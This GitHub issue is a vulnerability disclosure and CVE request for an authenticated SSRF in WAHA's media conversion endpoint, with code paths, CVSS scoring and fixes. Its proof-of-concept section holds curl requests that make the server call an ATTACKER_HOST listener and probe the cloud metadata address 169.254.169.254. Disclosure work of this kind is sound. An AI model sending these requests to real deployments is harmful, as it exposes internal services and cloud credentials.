New issue

WAHA Authenticated SSRF Vulnerability in Media URL Fetch #36

Open

wing3e opened 3 weeks ago Owner

WAHA Authenticated SSRF Vulnerability in Media URL Fetch

1) CNA / Submission Type

- Submission type: Report a vulnerability (CVE ID request)
- Reporter role: Independent security researcher
- Report date: April 2, 2026

2) Reporter Contact (fill before submit)

- Reporter name: `Winegee`
- Reporter email: `Winegee@zju.edu.cn`
- Permission to share contact with vendor: `Yes`

3) Vendor / Product Identification

- Vendor: devlikeapro
- Product: WAHA
- Repository: https://github.com/devlikeapro/waha
- Reviewed local source path: `datasets_top_1k/devlikeapro_waha`
- Affected component(s):
- `src/api/media.controller.ts`

- `src/core/abc/session.abc.ts`
- `src/utils/fetch.ts`

4) Vulnerability Type

- CWE: CWE-918 (Server-Side Request Forgery)
- Short title: Authenticated SSRF via media conversion URL input

5) Affected Versions

- Confirmed affected: 0.0.1
- Suspected affected range: versions containing URL-based media fetch through `session.fetch`
- Fixed version: Not available at time of report (April 2, 2026)

6) Vulnerability Description

WAHA media conversion endpoints accept user-provided file URLs and fetch them server-side. The input URL flows from authenticated API requests into `session.fetch(...)`, then to `axios.get(url, ...)` without destination controls (no private-range blocking, no allowlist). This creates an authenticated SSRF condition usable by any API key holder with session access.

7) Technical Root Cause

1. `js/request-forgery-from-request`
   - Source: `src/api/media.controller.ts:50` (`@Body() file: VoiceFileDTO`)
   - Sink: `src/api/media.controller.ts:80` (`session.fetch(file.url)`)
   - Additional sink: `src/utils/fetch.ts:12` (`axios.get(url, ...)`)
2. Auth boundary:
   - API uses `@ApiSecurity('api_key')` and guards.
   - API key strategy reads `X-Api-Key` header (`apiKey.strategy.ts`).
3. Validation gap:
   - URL is accepted and consumed directly, no SSRF-specific network policy enforcement.

```
// media.controller.ts
@ApiSecurity('api_key')
@UseGuards(PoliciesGuard)
...
private async buffer(session: WhatsappSession, file: FileDTO): Promise<Buffer> {
  if ('url' in file) {
    return session.fetch(file.url);
  } else if ('data' in file) {
    return Buffer.from(file.data, 'base64');
  }
}
```

```
// session.abc.ts
public fetch(url: string): Promise<Buffer> {
  return fetchBuffer(url);
}

// fetch.ts
return axios.get(url, {
  responseType: 'arraybuffer',
  httpsAgent: InsecureHttpsAgent,
  headers: { 'User-Agent': userAgent.toString() },
});
```

8) Attack Prerequisites

- Valid API key (`X-Api-Key`) accepted by WAHA deployment.
- Access to a valid session identifier in route path (`/api/:session/...`).
- Outbound network access from WAHA server to attacker or internal targets.

9) Proof of Concept / Reproduction Guidance

This PoC demonstrates SSRF by forcing WAHA to fetch attacker-controlled URL.

1. Start listener reachable by WAHA server:

```
python3 -m http.server 18080
```

2. Trigger media conversion with URL input:

```
curl -i -X POST "http://TARGET_HOST:3000/api/default/media/convert/voice" \
  -H "X-Api-Key: YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://ATTACKER_HOST:18080/voice-poc.mp3"}'
```

3. Observe inbound request on listener:

- `GET /voice-poc.mp3` from WAHA server IP.

Alternative internal probe:

```
curl -i -X POST "http://TARGET_HOST:3000/api/default/media/convert/voice" \
  -H "X-Api-Key: YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
```

Expected result:

- WAHA performs server-side fetch to supplied URL.
- Even if conversion fails later due to content type/codec, network request is already issued.

10) Security Impact

- Confidentiality: High (access to internal HTTP services and metadata)
- Integrity: Low to Medium (depends on reachable internal write-enabled endpoints)
- Availability: Low to Medium (abuse via large/slow remote resources)
- Scope: Unchanged

11) CVSS v3.1 Suggestion

- Suggested vector (authenticated SSRF): `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L`
- Suggested base score: 7.3 (High)
- If API key exposure is broad or automation-facing, practical risk can increase.

12) Workarounds / Mitigations

- Disable URL-based media inputs when not needed; allow only base64 uploads.
- Enforce strict destination allowlist for outbound URL fetches.
- Block loopback/private/link-local/metadata ranges post-DNS and post-redirect.
- Apply outbound egress policy at network layer.
- Add per-endpoint request limits and timeout/cap safeguards.

13) Recommended Fix

- Introduce centralized SSRF-safe URL validator before `session.fetch`.
- Resolve and validate IP destinations for each request and redirect hop.
- Restrict protocols and ports to approved targets.
- Add security regression tests for private IP, DNS rebinding, and redirect bypass patterns.

14) References

- Repository: https://github.com/devlikeapro/waha
- Reviewed files:
- `src/api/media.controller.ts`
- `src/core/abc/session.abc.ts`
- `src/utils/fetch.ts`
- `src/core/auth/apiKey.strategy.ts`

- CWE-918: https://cwe.mitre.org/data/definitions/918.html

15) Credits

- Discoverer: `Winegee`
- Discovery method: Static analysis (CodeQL) plus repository source-code audit

16) Additional Notes for Form Mapping

- Issue status at report time: source-code confirmed in the local dataset.
- This issue is authenticated (requires API key), not fully unauthenticated.
- Version-range accuracy should be finalized by maintainer release history before public disclosure.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants